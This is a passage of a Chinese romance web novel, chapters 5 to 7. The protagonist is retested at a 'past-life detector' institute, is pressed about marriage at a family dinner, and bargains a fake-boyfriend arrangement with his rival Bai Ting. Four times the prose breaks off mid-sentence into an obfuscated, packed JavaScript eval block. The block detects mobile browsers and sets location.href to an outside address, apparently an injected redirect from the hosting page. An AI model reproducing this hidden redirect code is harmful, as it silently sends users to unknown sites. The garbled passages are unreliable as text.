裴言修想起电影里裴思行那一身黑色风衣配墨镜的装扮,一出场就是“叱诧风云”的配乐,以及动不动就谈的每分钟过亿的生意,有些一言难尽。 这像他??从哪开始像的??? 像柏停还差不多。 这念头在他脑子里一闪而过,他没跟裴思行说。怕再引出他哥的“直男哀悼论”。 敷衍着回了个“嗯嗯嗯”,滑下任务栏,他这才注意到,刚刚那个“诈骗电话”居然在两个小时内打了五次。 ……这是……整个诈骗集团只有他一个人的号码?逮着他一个人薅? 虽说想着这周末绝不再处理工作了,但这个紧急程度……他没办法再自欺欺人说这是诈骗电话了。 自己大概是天生的劳碌命。他认命地叹了口气,回拨了过去。 接通过后,裴言修言简意赅道:“什么事?” 那边安静了几秒,而后传来一阵悉悉索索的声音,像是在电话那头完成了交接。接着很快传出一个女声:“裴先生是吗?我们是国家生物脑科学高精度研究所的人。白天给您发了个邮件,见您一直没有回复,所以才贸然打电话。很抱歉打扰您。” “关于今天的匹配结果,我们想邀请您和柏先生一起来研究所做一次更精确的复测。” 裴言修语气冷淡:“没兴趣,免谈。” “我们完全理解您的困扰,”赵玥语速加快,声音诚恳,“联系您,首先是出于对您个人影响的考虑。目前舆论热度很高,一份更正式、更权威的检测报告,或许能帮助您澄清或应对后续情况。” 她停顿半秒,继续道:“其次,也是最重要的——我们希望排除任何误测的可能。我们相信科学数据,但更尊重事实。一次更精密的线下同步检测,是验证结果、也是对您和柏停先生负责的态度。” 裴言修沉默片刻。 “误测”这个词,精准地戳中了他心底那点微弱的希望。如果前世探测仪真的是个靠谱的、与科学沾边的仪器,那么“误测”无疑是最可以解释现下这个乌龙的理由。 良久,裴言修终于开口:“我只有今明两天有空,你们那边可以吗?” “完全可以!”女声难掩欣喜,“明天下午三点您方便吗?不会占用您太多时间。” 裴言修:“方便。还是上次那个地方吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274630|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次是邀请您来我们研究所本部。”女声解释道,“您之前去的是前世探测仪项目的对外体验中心。本部的设备更为精密,检测项目也更全面。” 她稍作迟疑,礼貌地询问:“方便加您微信吗?我稍后将具体地址和注意事项发送给您。” “好。” 翌日下午三点,裴言修准时出现在生物匹配度研究所本部。 与之前那个充满科技感的体验中心不同,本部坐落于城西科研园区,整体是肃静的灰白色调,更像一所国家级重点实验室。 一位穿着白大褂的年轻研究员已等在门口,带着他穿过需要指纹认证的玻璃门。 “裴先生您好,我姓赵,叫赵玥。我是今天负责带您检测的研究员,昨天和您在电话里交谈过。”赵玥微笑着引他入内。 走廊两侧是素净的白墙,墙上镶嵌着整面的高强度观察玻璃,如同ICU病房那般,将各个实验室的内部工作状态清晰地呈现出来。透过玻璃,可见身着防护服的研究人员正专注地操作着各种精密仪器。 裴言修状似随意地环视四周,目光落在走廊尽头悬挂的“国家生物脑科学研究所”铜牌上,语气随意地问了一句:“你们是国字头的单位?可我记得,‘前世探测仪’是个商业项目。” “研究所本身是国家重点建设的科研单位,主要资金来自财政拨款,专注于脑科学基础研究。”赵玥解释的很清楚,“而前世探测仪确实是我们与私企合作的衍生项目——他们获得技术授权,负责市场运营和资金投入。” 裴言修点点头,示意了解。 他现在大概知道柏停为什么会参与这个脑电波采样了。无利不起早。那bking大概是想在这个项目里分一杯羹。 野心不小。 “方便问一下,你们这个探测仪判断匹配度的具体原理是什么吗?” 赵玥微笑着回答:“当然可以,这不算机密。简单来说,匹配度是通过分析脑电波的波频特征来判断前世关联的。现有的研究已经证实,人类的意识能量——也就是脑电波——不会随着肉.体的消亡而消失。无论经历多少次轮回,这些独特的波频特征都会保留下来。” 她耐心地解释道:“我们的设备就是通过采集并比对这些波频。通常来说,波频重合度越高,意味着前世共同经历的重要事件越多,相伴的时间也越长,与对方有关的情绪和记忆片段越多。比如达到90%以上的匹配度,很可能是相伴终生的爱人;稍低一些的,则可能是亲子、挚友等深厚的关系。” 裴言修敏锐地捕捉到关键:“所以,匹配度高只能证明前世羁绊很深,但不一定就是正面的关系?” 他微微前倾,提出一个大胆的假设:“那有没有可能根本不是爱人,是互相追杀到死的仇人。如果是这样的话,波频重合度会不会也很高?” 赵玥明显愣了一下,随即忍俊不禁:“理论上来说,确实存在这种可能。不过……”她顿了顿,弯眼道,“即便真是这样,能恨到刻骨铭心、至死方休,不也恰恰证明了对方在自己生命中所占的分量吗?” 她朝裴言修眨了眨眼:“不是有个词叫恨海情天吗?” 裴言修笑了一下,没再说话。 赵玥推开一扇厚重的隔离门:“到了,这里是脑电波精密检测室。” 房间中央放置着一台类似MRI的仪器,但线条更加流畅。在研究员指导下,裴言修换上检测服,平躺在仪器平台上。 “请放松,整个过程大约四十分钟。”赵玥给他戴上布满传感器的头罩,“我们会同步采集您在清醒和浅眠状态下的脑电波数据,并与数据库进行实时比对。” 仪器启动时发出轻微的嗡鸣。裴言修闭上眼,能感受到细微的电流在头皮上游走。 几项检测做完后,裴言修跟着赵玥走出去,说道:“辛苦。稍后你们把账单报给我,我让助理把费用缴上。” 赵玥一愣,随即笑道:“不用的不用的。这次是我们邀请的您,不额外收取任何费用。相反,我们特别感谢您对我们研究的配合与支持。” 裴言修颔首:“客气。” “结果过几天就能出来,到时候还要劳烦您过来取一趟。” 赵玥说着想起了什么,“对了,柏先生也约的今天,应该稍后就会到。裴先生要留下与他见一面吗?” 5. 家宴 裴言修一顿,而后摇头:“不必。没什么事的话我就先走了,劳烦赵小姐带路。” “好的。”赵玥笑着点头,领着他往外走,“您对柏先生一点都不好奇吗?之前的高匹配度双方基本都对另一半充满了好奇心。” 裴言修没瞒她:“我跟他认识,没什么可好奇的。” 赵玥恍然:“原来如此。那很有缘分了。”她把裴言修送到门口:“还以为您是因为与对方同为男性,所以带有排斥心理。” 裴言修:“……也有这个原因。” 甚至于,他觉得自己都不是排斥同性,而是单纯的排斥柏停。 司机已经把车开到了研究所门口,裴言修没再多说,和赵玥道了个别,坐上车扬长而去。 裴言修打开手机,家庭群里已经积攒了好几条未读消息。大致内容是说他哥今晚的飞机落地洛城,让全家人都回老宅吃晚饭。他看了眼时间,现在从研究所出发,路上不堵车的话,应该刚好能赶上。 他在群里简单回了个“收到”,对司机道:“回老宅。” 车子缓缓驶入近郊一处私密庄园,铸铁大门后是精心修剪的园林景观。一栋现代风格的低层建筑在暮色中展露轮廓。 裴言修刚踏下车,身着得体西装的王管家便已候在门廊前。这位年约五旬的管家微微欠身,眼角泛起细密笑纹:“修少爷回来了,先生和夫人在客厅等候多时了。” “王叔。”裴言修无奈轻笑,挽住老人胳膊,“又来了,说了叫言修。下次再犯,您藏抽屉里那盒花生酥,我可就没收了啊。” “医生都说了让你少吃点那个,容易积食。”他随着管家穿过庭院,“最近身体还好吗?” “好得很。”王管家乐呵呵地点头,“先生和太太身体也都很好,就是总念叨你们兄弟俩回来得少。” “就是就是。”林雅不知道什么时候也走了出来,靠在门上嗔怪地看他,“盼你们兄弟俩回来,比盼财神还难。” 裴言修笑着走上前,将她拥进怀里:“没办法啊妈咪。您两个儿子时间都不受自己控制。一个大明星,一个大老板,您就偷着乐吧。” 林雅没好气地戳了戳他的额头,自然地挽住儿子的手臂,带着他推门进屋:“你哥要吃的菜和你要吃的菜都准备了。家里的甜品师请假,请了丽思卡尔顿的甜品主厨来做餐后甜点。你待会去尝尝合不合口味。” 裴言修弯眼,贴面吻了吻林女士的脸颊:“谢谢妈咪。”他的目光落到林雅身上的香云纱旗袍上,轻轻吹了个口哨:“新衣服啊?” 林雅点头:“好看吗?” 裴言修笑道:“好看的不得了。” 林雅愉悦:“你爹地也这么说。” 说曹操曹操到。裴言修的亲爹裴照适时从沙发上站起身,上下看了看自己的小儿子,而后拍了拍他的手臂:“公司最近怎么样?” 裴言修:“好着呢。到底我是你亲儿子还是公司是你亲儿子啊爸?一见面就问公司。” 裴照冷哼一声,却是道:“瘦了。” 裴言修:“那您待会看看我哥。他最近为了新戏在减肥呢。那才叫真瘦了。” 裴照皱眉:“还减?他那小身板,再瘦就只剩骨头了。” 裴言修深以为然地附和:“那您待会骂他。让他今晚把掉的肉都吃回来,感受一下什么叫一夜胖千斤。” 裴思行此刻还不知道自己弟弟的险恶用心,落后裴言修半小时,傻了吧唧地进了屋。 “爹地,妈咪,臭弟弟——我回来了!” 被他喊到名字的人都被迫接受了他一个熊抱,那样子活像只大金毛。 裴言修嫌弃地推开他的脑袋:“可算是回来了。吃饭吃饭,我要饿死了。” 有裴思行在的场合,永远不用担心冷场。饭桌上他一边大快朵颐,一边绘声绘色地讲述拍戏趣事:“你们是不知道,上次那个古装剧的台词拗口得要命,我背了三天差点咬到舌头。”说着还故意做了个夸张的咬舌表情。 没等众人接话,他又义愤填膺地吐槽起来:“还有那个俞臻,明明演技烂得要死,居然还敢跟我抢番位,真是笑死人了……” 裴言修慢条斯理地夹着菜,适时配合着发出“哟。”“嘿。”“没听说过。”的感叹。一顿饭下来像讲了场相声。 裴照和林雅早已习惯两个儿子的聒噪,这顿饭吃到尾声时,夫妻俩不动声色地对了个眼神。 趁着裴思行歇下来的功夫,林雅清了清嗓子,率先试探着道:“修修啊,徐姨她女儿上次吃完饭后还有跟你保持联系吗?感觉怎么样?” 裴言修手上的筷子一顿,心里叹了口气,知道这顿饭的重头戏可算是要来了。 他答道:“没什么联系了,都忙。”他给林女士夹了一筷子菜,无奈道:“今天哥也在,怎么光催我啊妈咪。他比我还老两岁呢。” 裴思行闻言像被踩了尾巴的猫一般,浑身的毛都炸了起来,如临大敌道:“我跟你能一样吗?我是明星!明星不能谈恋爱的!要真谈了,我的女友粉们该有多伤心啊。” 裴言修面无表情:“只听说过爱豆不能谈恋爱,你一个演员也不行?” 裴思行斩钉截铁:“不行!我公司也不让。” “好了好了。”林雅无奈打断他们兄弟俩即将开始的拌嘴,转向裴言修道,“修修啊,妈妈也就不和你兜圈子了。热搜上那个事情……你怎么看啊?” 裴言修没说话。林雅揣摩着他的神色,继续道:“咱们也不是什么不开明的家庭。虽然以前确实是没想过你可能会是……” 她斟酌着把“同性恋”三个字咽了下去,“这两年同性婚姻也合法了。你要是真喜欢……妈妈也不会拦着你。只要你能找到一个真心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274631|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对你好的……” “妈。”裴言修叫了她一声,她便也不说话了,只是静静地等待着自己一向有主意的小儿子说出下文。 裴言修沉默了几秒,无数话语在嘴边滚了个圈,几乎就要和盘托出,最终却尽数咽了回去,只是说:“八字没一撇的事呢,我定下来再和您说。” 好歹这次没再说出“我不结婚”这种话来。 上一次他在饭桌上说出这四个字,当即便收到了裴照的一系列诘问:“不结婚以后谁陪你啊?哪天我跟你妈走了,你在这个世界上连个牵挂都没有!你就非得尝到孤独终老的滋味才知道后悔是吧?!” 林雅大概也是想起了那次的不欢而散,顿了顿,说道:“你心里有数就好。” 裴言修有些烦躁,下意识想扯开领带让自己松口气。手摸到胸口前才意识到,自己今天穿的是休闲装,压根没领带。 他索性站起身,笑了笑道:“我吃饱了,去阳台上抽根烟。” 话音刚落,林雅就放下了筷子。“等等,”她说,“王阿姨的女儿从国外回来了,我和你爸都跟人家说好了,这周末你们见一面。” 裴言修背对着餐桌,脚步顿住,没应声,却也没再往外走。 林雅见他停下,语气放得更软了些:“崽崽,妈咪知道你有自己的主意。我当时还不知道你有可能是……”她顿了顿,欲言又止,“这事儿是早就应下的,人家姑娘也是特意腾出的时间。咱们家总不能失了礼数,对不对?你就当是去吃顿饭,见一面,哪怕交个朋友也好。” 就是这种语气。裴言修对着落地窗上自己模糊的倒影,无声地吐出一口气。如果林雅像裴照完全不顾他意愿地逼迫和指责,他还能和她对着干;偏偏是这种打着为你着想、顾全大局旗号的柔软态度,像裹着棉花的细针,让他浑身的力气都没处使,只觉得憋闷。 沉默在餐厅里蔓延了几秒。他终究还是没转身,只是对着玻璃窗,几不可察地点了下头,含糊地“嗯”了一声,算是应下,快步走出了客厅。 风一卷,撩动了裴言修指间刚燃起的烟。一点猩红在夜色里急促地亮了几下,青白的烟雾逸出,随风飘散。 和父母在婚姻这件事上数次争执的画面一一掠过他的脑海。这个话题一度成为了他们家的雷区。不提那便是相安无事,其乐融融。一提就必然伴随着一场不那么愉快的冲突。 他知道如今他父母看似温和的退让并不是意味着这个问题解决了,而是吵不动了。为了维持表面上的平和,他和父母心照不宣地各退了一步。 他最初去参加前世探测仪的检测,其实也是抱着测出点什么东西来应付他父母的想法。 只是万万没想到,测出来的最佳匹配会是个男人。……更没想到,会是柏停。 这几乎打乱了他此前的一切计划。他得好好想一想,再想一想…… 6. 条件(150营养液加更) 一周后,裴言修再次踏进研究所。 赵玥等在门口,神色比上次更慎重些。裴言修跟她往里走,半开玩笑地问: “结果怎么样?你已经看过了吧?不如先给我透露一二,让我有点心理准备。” 话说出来却没第一时间得到回应,裴言修挑了挑眉,见赵玥停下了脚步,双手插兜,朝某个方向扬了扬下巴。 裴言修顺着她的目光看过去,脚步猛地顿住。 柏停已经在里面了。 他站在一排显示屏前,侧对着门,听见动静转过身,目光扫过赵玥,最后落在裴言修脸上。 半晌,还是他先开了口:“裴总这副见了鬼的表情,不知道的以为被我抢了多大的生意。” 裴言修盯着他看了两秒,一时没说出话来,半晌转头看向赵玥:“赵小姐,这什么意思?” “裴先生见谅。”赵玥轻咳了一声,解释道:“都认识,我就不介绍了。今天是特意约两位一起来,因为结果需要当面同步告知二位。” 她刷开门禁,带两人走进核心分析室。房间中央的主屏幕上,并排显示着两份档案——左边是裴言修,右边是柏停。中间那个“99.8%”的红色数字,刺眼地跳动着。 赵玥将两份纸质报告分别递给他们:“经过我们最精密的复核和分析,二位的结果没有任何误差。” 大屏上加粗并列着的名字冲击着裴言修的视网膜,他冷静了一会,最终还是没忍住道:“……靠。” “……我前世是瞎了还是疯了?” 柏停向后靠在墙上,抱臂瞥了眼报告:“建议仪器返厂重修。需要的话,我可以给你们提供一定的技术支持。” 赵玥没接话,只是倒了温水放在两人面前:“二位先坐。” 报告很厚,数据图表密密麻麻。裴言修翻了几页就烦了,直接把报告合上扔在桌上。柏停倒是从头到尾快速浏览了一遍,眉头微蹙。 “简单来说,”赵玥走到主屏幕前,调出几组交缠最紧密的波形,“二位的脑电波在某些核心频段上的同步率,达到了我们数据库中的最高值。这意味着不论前世具体是什么关系,这种连接的深度和强度,都远超普通范畴。” 她顿了顿,看向两人:“这样的印记不会凭空消失。我的建议是,与其强行否认或回避,不如正视它的存在。” 裴言修靠进椅背:“所以呢?赵小姐想让我们怎么‘正视’?” “我希望二位能配合我们进行一些后续研究,”赵玥坦诚道,“这样的样本太珍贵了。当然,一切都会在充分尊重二位意愿和隐私的前提下进行。” “要我们当试验品?”裴言修挑眉。 “可以这么理解,但我们会确保……” “你们的研究遇到瓶颈了。”柏停忽然打断她,不是疑问句。 赵玥愣了愣,苦笑道:“柏先生敏锐。是的,虽然项目看起来很火,但有效样本太少。像二位这样的匹配度……我们可能再也遇不到了。” 她指向屏幕上那些复杂的神经网络图:“这项研究可能关乎人类对意识本质的理解。很多医学难题,都可能从这里找到线索。” 室内一时安静的落针可闻。长口闭口人类文明,可不论哪个社会发展文明,都没有拿活人做实验的道理。裴言修自认没有那么伟大的献身精神,他是商人,不是慈善家。但心口像堵了什么,叫他说不出话来。目光落到那交缠的神经网络上时,心里的烦躁更甚。 “如果参与研究,我们需要配合到什么程度?” 裴言修猛地转头看他:“你认真的?” 柏停没理他,只是看着赵玥。 柏停对那道灼热的目光恍若未觉,双腿交叠、姿态从容,仿佛不是坐在研究所的木椅上,而是坐在一张巨大的谈判桌前。 这种时候还要装?! 裴言修暗骂一声,低声道:“你真考虑?” 柏停:“有何不可?” “常规的脑电波监测,偶尔的记忆回溯实验。”赵玥很快回答,“以及需要两位保持一定的见面频率,给数据提供基础支撑。” “所有实验都会确保二位隐私,并在共同监督下进行。” 她说着飞快地看了一眼柏停,乘胜追击道:“二位有什么疑问或者条件也都可以提,我们会尽量满足你们的需求。” 柏停看着她的眼睛:“我要参股前世探测仪这个项目。我的科研团队也要参与进研究过程。以和我有关的数据研究出的任何科研结果,都要算我们共创。” 疯子。裴言修听得冷笑,忍不住暗骂。 连自己的记忆、情感、隐私乃至人身安全都能毫不犹豫地摆上谈判桌,当作拓展商业版图的筹码……难怪柏停能走到今天这个位置,对别人狠,对自己更狠。外界对他的评价还真不是空穴来风。 赵玥显然没料到这样的要求,怔了片刻才略显为难地开口:“这……涉及项目股权和科研主导权的变动,我个人确实无法立刻答应。但我可以如实向上级汇报您的诉求,并尽力为您争取。” 柏停几不可察地点了下头,算是默许。赵玥松了口气,视线转向一旁始终沉默的裴言修,语气试探:“那……裴先生您的意向是?” “我好像从来没说过我会考虑参与。”裴言修笑了,笑容里没什么温度,“这项目对我没价值,你们也给不出我想要的东西。赵小姐不必白费口舌。” 赵玥张了张嘴,下意识看向柏停。 柏停却一直看着裴言修,等他说完,才平静地开口:“那我呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274632|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴言修皱眉:“你什么?” “他们给不出的,”柏停说,语气像在谈一笔再普通不过的交易,“我可以给。裴总如果有兴趣,可以跟我谈条件。” 分析室里安静下来。 屏幕上,两人的名字和那个刺眼的99.8%还在无声闪烁。 裴言修盯着柏停,试图从那张没什么表情的脸上找出戏谑或算计的痕迹。但他只看到一片深不见底的平静。 “跟你谈条件?”裴言修慢慢重复,“柏总想从我这儿得到什么?” “我需要你配合研究,”柏停说得很直接。 “代价?”裴言修笑了,“你能给我什么?钱?项目?还是……” 他顿了顿,忽然想起什么,眼神变得微妙。 “城东那块地,”裴言修说,“环隆去年底拍下的。我要一半开发权。” 那是块肥肉,柏停当初抢得很凶。 赵玥在旁边听得心惊胆战。 柏停沉默了几秒。 然后他说:“可以。” 裴言修愣了一下。 他盯着柏停看了几秒,忽然眯起眼,嘴角勾起一个试探的弧度:“这么爽快?那……新能源产业园那个联合实验室的主导权,也归中达。” 那是环隆投入巨大、引以为傲的前沿项目。 赵玥在旁边屏住呼吸。 柏停几乎没有犹豫:“可以。” 裴言修脸上的笑容淡了些,眼神更锐利了。他身体微微前倾,手肘撑在膝盖上,一字一句道:“还有,环隆旗下那家做智能芯片的子公司,我要30%的股权。” 这已经接近明抢了。 柏停这次沉默的时间长了一些。他目光落在裴言修脸上,似乎在评估什么,然后才平静地开口:“可以。但有个条件——中达必须对等开放你们在欧洲的物流渠道给环隆使用,按市场价结算。” 裴言修靠回椅背,抱起手臂,没说话。 分析室里一片死寂,只有仪器运作的细微嗡鸣。 半晌,裴言修忽然笑了一声,笑声里听不出什么情绪:“柏总,为了这个研究,你可真是舍得下血本。” “那是我的事。”柏停语气依旧平稳,“裴总只需要知道,如果你中途退出研究,这些承诺全部作废。” 裴言修盯着他看了一会,罕见地没有第一时间接话。半晌,他唇角很轻的勾了一下,勾出一抹惊心动魄的笑,笑意从唇角漾开,攀上那双锋芒毕露的眼。桃花眼微弯,恍惚间显出些深情而暧昧的错觉。声音却是懒洋洋的: “我还有最后一个条件。” 柏停神色不变:“说。” “委屈柏总一下,”他的目光从柏停没什么表情的脸上缓缓滑过,“装我男朋友。” 7. 绑定 裴言修坐在柏停对面微微后靠,一只手随意搭在扶手上,指尖无意识地轻点着。看着一副煞有介事的模样,思绪却已经飘回了几个小时前—— 在咖啡厅见到王小姐时,对方已经先到了。她穿着剪裁利落的西装,短发清爽,见他过来便大方地笑了笑。几句寒暄后,气氛还算自然。 等咖啡送上来,王小姐搅拌着杯中的拉花,忽然抬起头,神色坦诚地开口:“裴先生,很高兴认识你。不过有件事我觉得还是直说比较好。”她顿了顿,“我喜欢女生,已经有交往两年的女朋友了。” 裴言修微怔,随即了然地点点头:“明白了。” “所以咱俩这事儿,真不成。”王小姐语气轻松,却带着认真,“其实我下个月就打算带她回家见父母了。” 裴言修下意识问:“这样直接出柜,不会让家里更……”他斟酌着用词,“更鸡飞狗跳么?” 王小姐却笑了,往后靠向椅背,神情里有些无奈的调侃:“放别人家或许会。但在我家……我最近才琢磨明白,我爸妈可能压根不在乎我找的是男是女。” 她见裴言修露出疑惑的神情,继续解释道:“他们就是传统,总觉得人得成个家、有个伴,怕我老了孤单。所以只要我真能找到个靠谱的、能相互扶持的人,就算是个女孩,恐怕也比一直单着强。他们这些年催我相亲,搞不好只是想推我一把,让我别磨蹭。” 裴言修听着,一时有些出神。这个角度他从未想过。 王小姐观察着他的表情,忽然眨了眨眼,半开玩笑地压低声音:“说真的,你要不要也试试这个思路?你看,我妈和你妈关系那么好,观念说不定也差不多。” 她说完自己先笑了起来,裴言修看着她明朗的笑容,先是愕然,随即也跟着失笑摇了摇头。 “不用了,我不是。”裴言修当时是这么和她说的。 而现在,面对着柏停那张没什么表情的脸,他勾着唇角,慢悠悠说出口的话却是: “委屈柏总一下,装我男朋友。 屋内顿时安静地落针可闻。 赵玥张了张嘴,原本准备拿水杯的手微微一顿,随即笑着站起身:“我去趟洗手间,你们聊。” 分析室内只剩下裴柏二人。 柏停沉默了一会,半晌开口:“理由。” 裴言修弯眼,笑容里带着些理所当然的无赖:“这你不用管。你只需要在我需要的时候,配合我演戏就好。” 柏停没说话,半张脸隐在显示屏投下的冷光阴影里,看不清神色。 这在裴言修看来就是无声的拒绝。他毫不意外,无所谓地耸耸肩,站起身:“行,当我没……” “可以。” 在他开口的同时,柏停的声音清晰冷静地响起。 裴言修的脚步猛地顿住,他转过身,盯着柏停,脸上闪过一丝混杂着震惊和“你他妈果然不正常”的无语表情。 “你可真是……”他张了张嘴,一时竟不知该说什么。 柏停没等他组织好语言,已经接着开口:“这里面只包括名声,不包括贞操。”他说着顿了顿,勾出一个奚落的笑容,“裴总要是看上了我的色相,那是另外的价钱。” 裴言修:“……” 他深吸一口气,强忍住揍人的冲动,微笑道:“在柏总面前,要一直保持心平气和,真是项考验人的难题。” 柏停点头:“过誉。” 人至贱则无敌,裴言修很难见到比林尤墨还无敌的人。他服气地点了点头,转身就要往外走。 刚迈出两步,身后便传来不疾不徐的脚步声。他脚步微顿,侧过头——柏停正落后他半步,也朝门口走来。 就在裴言修停顿的这几秒,柏停已然从他身侧经过,目不斜视地越过他,率先拉开了分析室的门。 赵玥过来时,看到的就是两人一前一后站在需要瞳孔验证才能打开的研究所大门前,一个偏头看着窗外,一个垂眸盯着地面,中间隔着的距离能再塞进一个人。 她脚步顿了顿,随即笑着走近,帮二人刷开大门:“二位……谈妥了?” 裴言修:“差不多。” 赵玥的笑容里多了几分了然,视线在他们之间微妙地转了转:“看来还是柏先生对您更有吸引力。我替研究所感谢柏先生。”她顿了顿,又看向裴言修,很快补充道:“当然,对裴先生致以同样程度的感谢。” 裴言修面无表情:“是柏先生开出的条件更有吸引力。赵小姐说话别省略关键。” 赵玥从善如流地点头:“好的。” “我先送二位出去,稍后会发一份协议给你们,是对双方权益的保障。二位看过没问题之后可以签。” “这段时间辛苦二位,下周开始可以不用每周来研究所了,以后每个月来做一次常规复查就好。”赵玥将手从白大褂口袋里抽出,刷了指纹领他们往出口走,话音却微妙地一转,“不过……” 裴言修立刻警觉地侧过头:“不过什么?” “为了保证数据的有效性和连续性,需要二位在接下来的三个月里,维持一个相对稳定的相处时长。”赵玥语气温和,说出的话却让裴言修眼皮一跳,“我们计算过,平均下来,每天需要至少有五个小时以上的共处时间。” “五个小时?!”裴言修简直气笑了,“一天总共才多少小时?我不用开会不用干活?一周下来就是三十多个小时,我好不容易挤出来的周末时间,一大半要跟他过?”他指着旁边面无表情的柏停,“赵小姐,你觉得这现实吗?” 柏停虽然没像裴言修那样直接反驳,但眉头也已微微蹙起,冷静地提出质疑:“这个时长要求缺乏必要性和可执行性依据。我们的日常工作安排无法支撑这种频率的非必要社交。” 赵玥看着两人一致对外的反应,眼中闪过一丝狡黠的光,她笑了笑,语气变得循循善诱:“我理解二位的难处。所以……其实还有一个更省事、也更自然的方案。” 裴言修有种不妙的预感:“……什么方案?” “不如,”赵玥放缓语速,清晰地说,“二位考虑一下,索性住在一起?” 裴言修:“……???” 他一度怀疑自己听错了。 柏停也终于抬起眼,目光锐利地看向赵玥,声音冷了下来:“赵医生,这个提议已经超出了科学研究的合理范畴,更涉嫌侵犯个人隐私与生活自由。” “二位先别急,”赵玥连忙摆手,脸上还是那副温和又有点无辜的笑容,“听我解释。同居听起来是有点夸张,但从数据收集的效率和自然状态模拟的角度来看,这其实是最优解。” 她掰着手指头数:“你们想,如果分开住,又要硬凑每天五小时的相处,那才叫刻意、尴尬,还耽误正事。但如果住在一个屋檐下,很多时间自然而然就累积了——比如一起用早餐的二十分钟,晚上各自在书房工作但同在一個空间的三小时,甚至……各自回房睡觉的八小时,在算法里都可以算作处于同一亲密环境下的有效时长。” 她看向一脸“你疯了”的裴言修和面色冷凝的柏停,语气诚恳地补充:“这听起来是有点突破常规,但请二位认真考虑一下。比起每天绞尽脑汁挤出五小时面对面,这种模式反而更轻松,也更不容易引发……呃,审美疲劳和冲突。毕竟,大部分时间你们各干各的就行,只是物理空间上的共享。” 裴言修深吸一口气,揉了揉突突直跳的太阳穴:“赵小姐,你这不叫方案,这叫异想天开。我和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274633|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”他用拇指比了比旁边的柏停,“住一起?你觉得这画面和谐吗?” 赵玥忍俊不禁:“这只是一个建议。如果二位实在无法接受,那就只能按照第一个方案,严格执行每日五小时以上的线下共处时间,并且我们需要比较详细的知道你们共处期间的具体动向。选择权在你们。” 她适时地停下了话头,留给两人消化和权衡的空间。 裴言修和柏停隔着一米多的距离站着,谁也没看谁,但都知道彼此正在权衡。 五个小时刻意相处的折磨,和住在同一个房子里但大部分时间互不干涉的自然状态。 哪个更让人难以忍受? 这特么居然成了个需要认真考虑的选择题。 “当然,这不是需要立刻决定的。”赵玥很懂得见好就收,笑了笑,“这样吧,第一个月我们先宽松点,当作试验期。二位每周只需要保证一次约会,时间不低于三小时,看看感觉如何。下个月复查前,我们再根据情况调整,或者确定最终方案。” “行。”裴言修勉强应下,不忘纠正道,“是见面,不是约会。” 被纠正措辞,赵玥没有半点不耐,反而笑吟吟地点头:“好的,我会注意。” 裴言修被她古怪的眼神看的发毛,他没看错的话,那眼神表达的是……慈爱? 从研究所回到公寓,裴言修解开领带,手机屏幕就亮了起来。 是赵玥发来的消息:【对了,刚才忘了问,你们有彼此的联系方式吗?先推一下名片,如果有的话就当我没说。】 裴言修回复:【没有,谢谢赵小姐。我待会加他】 【赵玥:不用这么客气,不介意的话叫我玥姐就好】 裴言修:【好的玥姐(玫瑰)(玫瑰)(玫瑰)】 【个人名片:木白】 裴言修目光在联系人推荐的链接上顿了一会,最终还是屈尊点了进去。 连微信名起的都这么无趣。他腹诽。 柏停的头像是一页书纸的照片,在缩略图中看不真切,点开大图裴言修才看清,那是《了不起的盖茨比》英文原著里的一个片段。 白纸黑墨,右上角洒落着几处光斑,像是有人静静坐在图书馆一角,恰好有阳光斜斜地落进来,为文字镀上一层温柔的金边。 “Hehaealongwaytothisbluelawn,andhisdreammusthaveseemedsoclosethathecouldhardlyfailtograspit.” ——“他历尽漫长艰辛才来到这片蓝色的草坪上,他的梦想似乎近在咫尺,触手可及。” 裴言修不由多看了几眼。他这次第一反应倒不是柏停装,而是联想到了从前听到的那些关于柏停的传闻。 所以,这人的人生导师居然是盖茨比吗?那还真是……裴言修一时没找到什么合适的形容词,只莫名觉得有些唏嘘。 裴总发挥完过于丰富的想象力和过剩的同情心,手指向下一划,准备加上这人好友。 